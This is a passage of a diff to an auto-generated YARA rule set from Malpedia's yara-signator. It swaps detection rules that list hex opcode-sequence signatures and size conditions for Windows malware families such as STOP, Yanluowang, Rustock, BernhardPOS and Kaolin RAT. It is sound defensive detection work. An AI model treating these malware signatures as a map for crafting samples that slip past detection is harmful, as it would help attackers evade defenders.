50 8b4208 ffd0 8b45c8 3bc3 } + $sequence_9 = { 83c40c 50 e8???????? 8bf8 83c404 } condition: - 7 of them and filesize < 19405824 + 7 of them and filesize < 362496 } -rule MALPEDIA_Win_Wscspl_Auto : FILE +rule MALPEDIA_Win_Stop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7d78cbcb-c636-58e3-9d8d-70bd821838ca" + id = "bc295ac7-db91-5568-b9e1-1d450db9b984" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wscspl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wscspl_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stop_auto.yar#L1-L113" license_url = "N/A" - logic_hash = "a06a73900ca2c0d42b899a919a39813227fe95be2c044a4b97a03a121cdc8aa6" + logic_hash = "22c4b0b970b8ce1325818e94329339f1bb669a97f8cb3590d85b78790ea24a40" score = 75 quality = 75 tags = "FILE" @@ -98244,32 +98497,32 @@ rule MALPEDIA_Win_Wscspl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f8464020000 8b3d???????? f644243810 8a442464 0f8481000000 3c2e } - $sequence_1 = { 885c342c ffd5 a3???????? a3???????? b8???????? } - $sequence_2 = { 33d2 33c9 8d5c2418 e8???????? 8b8c2494230000 83c414 5b } - $sequence_3 = { c705????????01000000 e8???????? 891d???????? eb25 } - $sequence_4 = { 51 50 ff15???????? 2935???????? 83c40c } - $sequence_5 = { 5f 8935???????? 5e 5d 8b8c2488230000 } - $sequence_6 = { 6a01 50 ff15???????? 687c230000 68c10b0000 } - $sequence_7 = { 8d443410 68???????? 50 e8???????? 668b0d???????? } - $sequence_8 = { 68ba0b0000 33d2 33c9 8d9c24a4050000 } - $sequence_9 = { 2bc1 8b4c2448 03f0 8b442444 ba3f3a0000 } + $sequence_0 = { 50 ff15???????? 8bf8 85ff 790f } + $sequence_1 = { ff15???????? 8bf8 85ff 790f } + $sequence_2 = { 51 dd1c24 e8???????? dc4de0 } + $sequence_3 = { 56 6a00 ff7508 68???????? 6a00 } + $sequence_4 = { 33c9 eb14 8bce 8d5902 668b01 83c102 6685c0 } + $sequence_5 = { 33c9 eb14 8bce 8d5902 } + $sequence_6 = { ffd6 85c0 75e2 5f } + $sequence_7 = { 68f4010000 57 ff15???????? 57 } + $sequence_8 = { 50 ffd6 85c0 75e8 6a0a ff7304 } + $sequence_9 = { ff7508 ffd0 5d c3 8b0d???????? 33d2 } condition: - 7 of them and filesize < 901120 + 7 of them and filesize < 6029312 } -rule MALPEDIA_Win_Oderoor_Auto : FILE +rule MALPEDIA_Win_Bernhardpos_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8af6addc-ebdd-5e5f-9273-b365bc983ffd" + id = "252fe43d-34d2-5ba3-916c-e631fcda4c17" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oderoor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oderoor_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bernhardpos_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "705d5b4a266b0c2f312f72fd5cb1e86ab39ec049fd53173701ccf137ec51b933" + logic_hash = "a85fc3a62e77b7c1681166d26b96a4f5d23c2afe6eddbdde5dc49efbc64461ae" score = 75 quality = 75 tags = "FILE" @@ -98283,32 +98536,32 @@ rule MALPEDIA_Win_Oderoor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 2deb1427d9 8c2413 b166 3b01 95 1e c194a0c0b855158d } - $sequence_1 = { f8 660fbdd9 6611e5 e8???????? 54 } - $sequence_2 = { e9???????? 6689442404 c1ce06 9c 9c 8d642440 e9???????? } - $sequence_3 = { 69d20a000000 e8???????? 38f4 c0f304 c1c31c 660fbafb02 89c3 } - $sequence_4 = { 686c193202 e8???????? 309c865a407526 b3df e04a 9b 68d69156e5 } - $sequence_5 = { 2b984e407fc0 c5adcaa19a9e 1882c1c921d4 06 ed } - $sequence_6 = { df570e 29dc 9b 7f65 197e7e a2???????? } - $sequence_7 = { 0fbae107 0428 55 895c240c f6d0 660fbae70f 9c } - $sequence_8 = { 8d642410 e9???????? 66891407 881424 9c 68f4110af5 } - $sequence_9 = { f1 6c aa 620b e3ed e28f 1a00 } + $sequence_0 = { 8b4508 50 ff15???????? 8945fc c745f800000000 c745f400000000 } + $sequence_1 = { 884a02 6a01 ff15???????? 8b8d58feffff } + $sequence_2 = { 50 8d8dc8fbffff 51 ff15???????? 6a00 } + $sequence_3 = { 8bec 81ec84040000 53 56 57 6a04 } + $sequence_4 = { 85c0 0f8488010000 8b45fc 8b4844 51 } + $sequence_5 = { 8d8550feffff 50 8d8d5cfeffff 51 6a00 } + $sequence_6 = { 8b4dec c1e108 0345e8 03c8 } + $sequence_7 = { 8b45e4 c1e806 83e03f 8b4d0c 034df4 } + $sequence_8 = { e8???????? a3???????? 68a86b4aa0 a1???????? 50 e8???????? } + $sequence_9 = { e8???????? a3???????? 684f5b51f2 a1???????? 50 e8???????? a3???????? } condition: - 7 of them and filesize < 13688832 + 7 of them and filesize < 368640 } -rule MALPEDIA_Win_Yanluowang_Auto : FILE +rule MALPEDIA_Win_Safenet_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4468bae4-7d21-5c9c-b3c6-a951c19ed833" + id = "f291e692-0cf7-535f-829f-d3eb37065334" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yanluowang_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.safenet" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.safenet_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "7c2e1069418a1f62952d42a3190c40f6e9223a885e325767a86810d1579f3abb" + logic_hash = "8771350f205428c4c7fbcedc7de0eba58fbdfc684579398209f093f9a759ec1a" score = 75 quality = 75 tags = "FILE" @@ -98322,32 +98575,32 @@ rule MALPEDIA_Win_Yanluowang_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c745dc00010001 c745e000010001 c745e400010001 c745e800010001 e8???????? 83c40c } - $sequence_1 = { 56 57 50 8d45f4 64a300000000 8995a4fdffff 898da0fdffff } - $sequence_2 = { 33733c 334b30 335338 8bc1 0bce 33f7 23f8 } - $sequence_3 = { 8b442438 336c2434 03d5 0fb6e8 c1e808 339cae00040000 33d8 } - $sequence_4 = { c744242c00000000 8bc3 b902000000 f7f6 807c241300 8bf0 8b442418 } - $sequence_5 = { 7402 890b 3355e8 8d4808 85c9 7402 } - $sequence_6 = { 0fbe41ff 8d04c528984400 ebbd 8a11 } - $sequence_7 = { ebdf c745e4b4a44400 c745e803000000 ebcf c745e4b8a44400 ebbf c745e4c0a44400 } - $sequence_8 = { 0f87f4010000 0fb680bbc94200 ff24859fc94200 8365e400 8d4de4 8365e800 6a7b } - $sequence_9 = { ff742418 6a00 6a00 6a04 6a01 } + $sequence_0 = { 8d4db4 50 c645fc01 e8???????? 8b4d08 } + $sequence_1 = { ff15???????? eb5a ff75fc ff15???????? } + $sequence_2 = { 8b45fc 3bc3 7504 c6461401 } + $sequence_3 = { 51 8d8d7cffffff ff7634 51 50 ffd3 85c0 } + $sequence_4 = { 68???????? 57 ff15???????? 3bc6 7505 83ceff } + $sequence_5 = { 3b1d???????? 0f8315010000 8bc3 8bcb c1f805 83e11f 8b048540174100 } + $sequence_6 = { 50 ff7638 57 ff7618 ff55f8 } + $sequence_7 = { 8d34b5d0d84000 83c00c 3bc6 7305 395004 } + $sequence_8 = { ff750c e8???????? ff75ec e8???????? ff75e8 e8???????? } + $sequence_9 = { c745bc3c000000 c745c040040000 ff15???????? 8945c4 8d85b4fdffff 8945cc } condition: - 7 of them and filesize < 834560 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Xenarmor_Auto : FILE +rule MALPEDIA_Win_Noxplayer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "55610d93-1ce0-5ea9-b26e-9c8f1380484b" + id = "52c2d792-4208-534f-9752-70135571b141" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xenarmor" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xenarmor_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.noxplayer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.noxplayer_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "10c19019c6e353e0437445c705fdac1c2ec6dd84cb0e3e79b7bc1280d736134b" + logic_hash = "39f8c0f5aeb72bc127d7da1eaa9ec4c91ef0378727bf180400ab0a14310839c7" score = 75 quality = 75 tags = "FILE" @@ -98361,32 +98614,32 @@ rule MALPEDIA_Win_Xenarmor_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f7f9 8b8d64ffffff 6640 66034616 8bd0 e8???????? f7462440010000 } - $sequence_1 = { e8???????? 8bf0 83c418 85f6 0f84ed000000 8d8584e5ffff 8d8dfcd1ffff } - $sequence_2 = { e8???????? 50 8d4d08 c645fc03 e8???????? c645fc00 8bc7 } - $sequence_3 = { e9???????? ff7304 8b53bc ff73e0 8b4d0c e8???????? 83c408 } - $sequence_4 = { ff742428 ba56000000 ff742428 e8???????? 83c40c eb33 8b542420 } - $sequence_5 = { 8bf0 e8???????? 8b5df0 8bf8 57 56 ba35000000 } - $sequence_6 = { 8d8ff8000000 e8???????? 895de8 c745e4d4ee6800 ff750c 8d4de4 895dfc } - $sequence_7 = { f6400408 0f8589000000 83783000 8b44246c 741c 85c0 7518 } - $sequence_8 = { ba74000000 e8???????? 83c40c eb37 8d4201 89416c 8d0c92 } - $sequence_9 = { 8bce e8???????? 685e010000 8bce e8???????? 8b86a8b30500 038690b30500 } + $sequence_0 = { 57 4883ec20 488b7968 488d05833a0300 488bd9 488901 4885ff } + $sequence_1 = { 33db 48391d???????? 488bf8 0f85d5000000 488d0d6fc70000 ff15???????? } + $sequence_2 = { 488d15757f0200 48894c2420 4885c9 7419 483901 750f 488b4108 } + $sequence_3 = { 488b742450 488bc3 4883c440 5b c3 488d542430 4533c9 } + $sequence_4 = { 49c7430801000000 8b530c 85d2 743e 660f1f440000 448d42ff 41d1f8 } + $sequence_5 = { eb06 488bd8 488b00 80782900 74e8 483b5908 } + $sequence_6 = { 4c8be8 0fb6465c 84c0 0f8553040000 4533e4 488b4e50 e8???????? } + $sequence_7 = { 742b 488bcf e8???????? 483b3d???????? 741a 488d05354c0200 483bf8 } + $sequence_8 = { 4c8d4204 e8???????? eb78 488b4f50 498bd4 488b01 ff5040 } + $sequence_9 = { 41390424 745d 807b1d00 754a 488b4310 80781d00 7520 } condition: - 7 of them and filesize < 10894336 + 7 of them and filesize < 742400 } -rule MALPEDIA_Win_Project_Wood_Auto : FILE +rule MALPEDIA_Win_Swen_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "99ac0756-7270-5092-a0e9-372c792f0f89" + id = "01c07f06-713c-58de-abb2-d741b6b7f019" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.project_wood" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.project_wood_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.swen" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.swen_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "d6cbe15bf8f450c37b272bcbe4cde2ce46e9a95962a04b9a673413f1c7fe9c2a" + logic_hash = "c23034223b381f25ac775fe21bfc90a4b7d7644747556b010494835d089cdb6c" score = 75 quality = 75 tags = "FILE" @@ -98400,32 +98653,32 @@ rule MALPEDIA_Win_Project_Wood_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7404 6aff eb05 6830750000 53 8d45e8 57 } - $sequence_1 = { 57 50 ff7508 ff15???????? 85c0 7426 ff37 } - $sequence_2 = { ffd5 68???????? e8???????? 59 5e 5d 5b } - $sequence_3 = { 7422 8d4df8 b801000080 51 6819000200 57 68???????? } - $sequence_4 = { ff7508 e8???????? 83c41c 84c0 0f84abfeffff 8d8550f7ffff } - $sequence_5 = { 0f8426010000 8d45d8 50 8d85acfeffff 50 ff15???????? 8d45e4 } - $sequence_6 = { 41 83f902 72e3 a3???????? eb10 c705????????01000000 891d???????? } - $sequence_7 = { ab ab 66ab aa 8d45f0 c745f050000000 50 } - $sequence_8 = { 7222 8d85a4f7ffff 6a04 50 8d450c 50 e8???????? } - $sequence_9 = { 0f84e3feffff 57 8d45f8 ff7518 ff7514 50 8d8558f7ffff } + $sequence_0 = { 68???????? 8d85e0fdffff 50 e8???????? 59 59 53 } + $sequence_1 = { 895dfc 68c8000000 53 68???????? e8???????? 83c40c 891d???????? } + $sequence_2 = { 8d8564ffffff eb03 8d45c8 50 8d8540feffff 50 e8???????? } + $sequence_3 = { 85c0 740a e8???????? e9???????? 8d85bcfcffff 50 } + $sequence_4 = { 0f84f8020000 8d7801 803f79 750a c78574feffff01000000 8818 8d8581feffff } + $sequence_5 = { 85c0 0f85ccfdffff 6820bf0200 e8???????? 59 8bf8 89bd1cfeffff } + $sequence_6 = { 83c40c 85c0 750c 834dfcff 6a01 58 e9???????? } + $sequence_7 = { 680000aa00 ff15???????? 8945d0 6a08 ff15???????? 50 ff75a8 } + $sequence_8 = { 57 6a01 68???????? bb???????? 53 bf02000080 57 } + $sequence_9 = { 7456 6a02 53 53 57 ff15???????? ff7508 } condition: - 7 of them and filesize < 31137792 + 7 of them and filesize < 286720 } -rule MALPEDIA_Win_Glassrat_Auto : FILE +rule MALPEDIA_Win_Flawedgrace_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e9bc70a4-a165-546a-8b42-f2a0c16e09f0" + id = "38c84019-ad8d-570b-aa3f-e7acbb9a406b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glassrat_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flawedgrace" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flawedgrace_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "fbe939a1762c88ca3785e6b1a0e31abcf86d2dba3555094a224ffc73c72353a2" + logic_hash = "c317abd86b3ba4cb04110fcc0785854b53fd3854465be9cdca5825ec671c6c3a" score = 75 quality = 75 tags = "FILE" @@ -98439,32 +98692,32 @@ rule MALPEDIA_Win_Glassrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 32c0 5d 83c408 c21400 53 56 8d4524 } - $sequence_1 = { 895904 894108 89790c 8b4a04 e8???????? } - $sequence_2 = { 0f8598000000 bf02000000 ff15???????? 6a00 8b95c4feffff } - $sequence_3 = { 6860ea0000 ff15???????? 8d8c242c010000 c784243c020000ffffffff e8???????? 46 83fe05 } - $sequence_4 = { 8d5004 8945ec 8930 b941000000 33c0 8bfa } - $sequence_5 = { 8d9578feffff 53 53 6a02 } - $sequence_6 = { c7857cffffff44000000 c745a801010000 668975ac 895db8 895dbc } - $sequence_7 = { 8dbd85feffff 8945e0 8945e4 889d84feffff f3ab 66ab } - $sequence_8 = { 33ed 68905f0100 ff15???????? 6a00 } - $sequence_9 = { e8???????? 53 55 56 33c0 8bf1 89442410 } + $sequence_0 = { 8bcf e8???????? 83c404 85c0 0f84a8010000 0f31 52 } + $sequence_1 = { 0fb6c0 894dec 8bcb c1e918 8b0485e0bb4500 33048de0bf4500 894510 } + $sequence_2 = { c6853bf5ffff00 c6853cf5ffffff c6853df5ffff25 c6853ef5ffff30 c6853ff5ffff20 c68540f5ffff40 c68541f5ffff00 } + $sequence_3 = { c6858ddaffff33 c6858edaffff00 c6858fdaffff00 c68590daffff00 c68591daffff00 c68592daffff00 c68593daffff00 } + $sequence_4 = { c68565f2ffff00 c68566f2ffff85 c68567f2ffffc0 c68568f2ffff74 c68569f2ffff3a c6856af2ffff81 c6856bf2ffff7d } + $sequence_5 = { 7416 8b85ccc0ffff 50 6a00 ff15???????? } + $sequence_6 = { 8b0495b8d34600 f644082801 7421 57 e8???????? 59 50 } + $sequence_7 = { c685abfdffff00 c685acfdffff00 c685adfdffff00 c685aefdffff00 c685affdffff00 c685b0fdffff00 c685b1fdffff00 } + $sequence_8 = { 3934bdb8d34600 7531 e8???????? 8904bdb8d34600 85c0 7514 6a0c } + $sequence_9 = { c685d3c8ffff05 c685d4c8ffff00 c685d5c8ffff00 c685d6c8ffff00 c685d7c8ffffe8 c685d8c8ffff48 c685d9c8ffff0f } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 966656 } -rule MALPEDIA_Win_Skynet_Auto : FILE +rule MALPEDIA_Win_Windealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "696c4936-7a3d-5b86-95a5-a0774cacd4ab" + id = "87b31818-e67b-5c82-9927-08d581ce1fca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skynet" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skynet_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.windealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.windealer_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "1d32da1d46f2bb7e98914cbd9405f4812d3bd3786d6edfb45c62833d68ff1301" + logic_hash = "cda4114916f5f955b9ea27c4701626023386bb93ae37a566cf799b5d0e98aca8" score = 75 quality = 75 tags = "FILE" @@ -98478,32 +98731,32 @@ rule MALPEDIA_Win_Skynet_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8ba42438010000 4c8b4c2460 48b8ffffffffffffff7f 4c898c2430010000 4889bc2440010000 4939c4 } - $sequence_1 = { 4889d9 e8???????? 4889f1 e8???????? 488d8c24b0000000 e8???????? 4c89f1 } - $sequence_2 = { 0fb654243f 4889c8 4883e0fc 4809d0 48894520 e8???????? 488d8c24b0000000 } - $sequence_3 = { 488d059c478b00 31d2 4889f1 48894310 4883c028 48898380000000 e8???????? } - $sequence_4 = { 4889cb 488d0d21fd8900 e8???????? 4889c2 488b03 488b4008 488b04d0 } - $sequence_5 = { 4c894c2428 488d5001 e8???????? 4c8b4c2428 488b442420 4c894c2430 } - $sequence_6 = { 488b01 4889cb 480358e8 488d0586478a00 488903 488b05???????? 488d4b18 } - $sequence_7 = { 48c783b801000000000000 488983a8010000 0fb787e0000000 488d7b10 4889f9 668983b0010000 488d053dde8d00 } - $sequence_8 = { c705????????01000000 4883c010 488905???????? e8???????? 488d35d1c58b00 488b15???????? 664d0f6ec5 } - $sequence_9 = { e8???????? 488b4c2460 4c39e9 740f 488b442470 488d540002 e8???????? } + $sequence_0 = { 6a00 ff15???????? 85c0 7407 50 ff15???????? 6a01 } + $sequence_1 = { 6a04 50 6a04 68???????? 68???????? } + $sequence_2 = { 668b91d2070000 8a89d0070000 52 51 } + $sequence_3 = { 56 57 68da070000 e8???????? } + $sequence_4 = { 8b4d08 668b91d2070000 8a89d0070000 52 51 } + $sequence_5 = { 6a01 50 56 e8???????? 83c410 8bc7 } + $sequence_6 = { 53 56 57 68da070000 } + $sequence_7 = { 50 56 e8???????? 83c410 8b4618 } + $sequence_8 = { ff15???????? 85c0 7407 50 ff15???????? 6a01 } + $sequence_9 = { 8b4d08 668b91d2070000 8a89d0070000 52 } condition: - 7 of them and filesize < 20419584 + 7 of them and filesize < 770048 } -rule MALPEDIA_Win_Linseningsvr_Auto : FILE +rule MALPEDIA_Win_Rustock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "68c65b63-e40e-59ed-9f87-895cfc0dec94" + id = "81c11374-a224-57b2-ae9d-b05ee172db6b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.linseningsvr" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.linseningsvr_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rustock_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "e8f369f7ec61592e2a3b3fecf4bc420063f67a74461c185ad8f3d77705dffe45" + logic_hash = "f23c8787fe5677c0679006ea20fcb161a3a7545dab517b9c25455040e02f455c" score = 75 quality = 75 tags = "FILE" @@ -98517,32 +98770,32 @@ rule MALPEDIA_Win_Linseningsvr_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 8dbc24dd090000 c644241000 f3ab 66ab aa } - $sequence_1 = { 8d542464 6a01 52 89442464 894c2468 e8???????? } - $sequence_2 = { 8dbc24dd090000 c644241000 f3ab 66ab } - $sequence_3 = { 8b0485c08d4000 03c6 8a5004 f6c201 } - $sequence_4 = { e8???????? 57 e8???????? 83c418 8d44244c } - $sequence_5 = { 742e 85f6 7419 0fb6da f683818c400004 } - $sequence_6 = { c705????????01000000 50 a3???????? e8???????? 8db6bc884000 } - $sequence_7 = { e8???????? 83c40c c3 53 56 be???????? 57 } - $sequence_8 = { 8a4c3c4c 51 68???????? e8???????? 83c408 } - $sequence_9 = { e8???????? 83c404 ebc2 8b0d???????? 68???????? 51 } + $sequence_0 = { ff15???????? 8945c0 85c0 7504 33f6 eb21 ff751c } + $sequence_1 = { f7d1 8b15???????? 8d6424fc 893424 5a 31c6 } + $sequence_2 = { 7403 46 ebd4 0fb60e 46 83f92d 8bd1 } + $sequence_3 = { 29f8 83cbff f7d3 b8670e0100 8d0dc8680100 01d0 } + $sequence_4 = { 53 ffd6 68ad020000 53 a3???????? ffd6 689d020000 } + $sequence_5 = { df7809 60 9f 79c1 7cc2 } + $sequence_6 = { 68d44f0100 59 0315???????? 21fb 031d???????? 31f1 83f2ff } + $sequence_7 = { 57 68e1030000 ff550c 68d1030000 } + $sequence_8 = { 8bc7 e9???????? 897dcc 33db 897dc8 397d08 7508 } + $sequence_9 = { 8d04bd04000000 50 e8???????? 8bd8 } condition: - 7 of them and filesize < 81360 + 7 of them and filesize < 565248 } -rule MALPEDIA_Win_Mm_Core_Auto : FILE +rule MALPEDIA_Win_Laplas_Shell_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "43e09f87-25f0-5aa1-a65d-f3cf8216d568" + id = "9c75f717-3a83-5505-a36a-1bce6df358ef" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mm_core_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas_shell" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laplas_shell_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "6a74d0b4f0725617f5a9081525f73e5b30645b5ad4c0ae527057295ae3a12104" + logic_hash = "651ff3d6bd8dabc0c16e2a61ceeb9a40f1d04f00168f1b0feb2a3661a16c588d" score = 75 quality = 75 tags = "FILE" @@ -98556,32 +98809,32 @@ rule MALPEDIA_Win_Mm_Core_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33ff 8db7e8ba0010 ff36 e8???????? 83c704 } - $sequence_1 = { ff15???????? 85c0 0f8482000000 8b442410 3bc7 747a 40 } - $sequence_2 = { 6800000008 51 51 51 66894c2464 8bcb } - $sequence_3 = { 8bf0 8975d4 85f6 0f8485000000 c745fc00000000 8a0e } - $sequence_4 = { 8b84246c080000 56 57 33ff 6a3c 8bf2 } - $sequence_5 = { 6a00 50 e8???????? 83c40c 33c0 33c9 8d542408 } - $sequence_6 = { 3bc1 0f87f5090000 ff248516540010 33c0 } - $sequence_7 = { 33c0 eb1a 8bc8 83e01f c1f905 8b0c8d40400110 c1e006 } - $sequence_8 = { 83e71f c1e706 8b048540400110 8d44380c } - $sequence_9 = { c744240c01010000 ff15???????? 8d4c2418 51 8d54240c } + $sequence_0 = { 0fb6825c324000 308618504000 8b4f10 8b5f14 0fb69618504000 3bcb } + $sequence_1 = { f7f1 0fb6825c324000 308618504000 8b4f10 8b5f14 0fb69618504000 3bcb } + $sequence_2 = { 8bc8 85c9 7504 ffd3 } + $sequence_3 = { c745fcffffffff 8b95ecfbffff 8b1d???????? 8b3d???????? } + $sequence_4 = { 89b594e6ffff 89b590e6ffff ff15???????? 85c0 7555 56 } + $sequence_5 = { 55 8bec 6aff 68???????? 64a100000000 50 b8ac190000 } + $sequence_6 = { 668985cafbffff 8d85c8fbffff 6a10 50 } + $sequence_7 = { 0f57c0 c78558e6ffff44000000 6a00 50 } + $sequence_8 = { ba???????? 50 8b0d???????? e8???????? } + $sequence_9 = { c745fc00000000 83bdecfbffff08 8d85d8fbffff 51 0f4385d8fbffff 8d8d58e6ffff } condition: - 7 of them and filesize < 319488 + 7 of them and filesize < 59392 } -rule MALPEDIA_Win_Unidentified_095_Auto : FILE +rule MALPEDIA_Win_Kaolin_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ae500f5e-affa-5f35-9b25-bf3d8d6f6e24" + id = "c9e8556c-d2a8-55c8-b1a4-294ebe1251e5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_095_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kaolin_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kaolin_rat_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "67701e8a3738389ac39b70a15648c44474c2440f2bd29cec3f0c8b5d1f7550a9" + logic_hash = "f64c57e6849676b495ac58f80cd5164da6e94327fa0e0172abebd0301649988c" score = 75 quality = 75 tags = "FILE" @@ -98595,32 +98848,32 @@ rule MALPEDIA_Win_Unidentified_095_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c8d0590ea0000 488d1541dd0000 e8???????? 4885c0 740f 488bcb 4883c420 } - $sequence_1 = { 488d15f0e80100 488d0df5e80100 e8???????? eb2e 803875 } - $sequence_2 = { 7419 4c8d442420 ba01000000 488bcb ff15???????? 85c0 } - $sequence_3 = { 4d3bc1 0f84d1000000 8b7500 498b9cf7b8410200 90 4885db 740b } - $sequence_4 = { 498bcc 488b9424c0000000 48896c2460 48896c2458 48896c2450 48896c2448 4889442440 } - $sequence_5 = { 752e 48895c2430 448d4303 895c2428 488d0d67a00000 4533c9 4489442420 } - $sequence_6 = { 4157 4881ec68020000 488b05???????? 4833c4 4889842440020000 49896b18 } - $sequence_7 = { 4883c308 488d0520990100 483bd8 75d8 b001 4883c420 } - $sequence_8 = { ff15???????? 3d24040000 7523 eb1c 41c70601000000 4885ed 7410 } - $sequence_9 = { e9???????? 488d05b7890100 4a8b0ce8 42385cf938 } + $sequence_0 = { 44897c2428 44897c2420 4533c9 4533c0 488bd0 33c9 } + $sequence_1 = { 66c704083f00 eb1d 48c744242001000000 4c8d0df8af0200 ba01000000 498bcc e8???????? } + $sequence_2 = { 488bd7 488d4d08 e8???????? 488b4d18 488b5520 488bc2 482bc1 } + $sequence_3 = { 488b8a30000000 e9???????? 488b8a60000000 e9???????? 4055 4883ec20 488bea } + $sequence_4 = { 48833d????????10 480f4305???????? 448828 418bdd 48391d???????? } + $sequence_5 = { 4c8d0dab4c0200 ba03000000 488bcf e8???????? } + $sequence_6 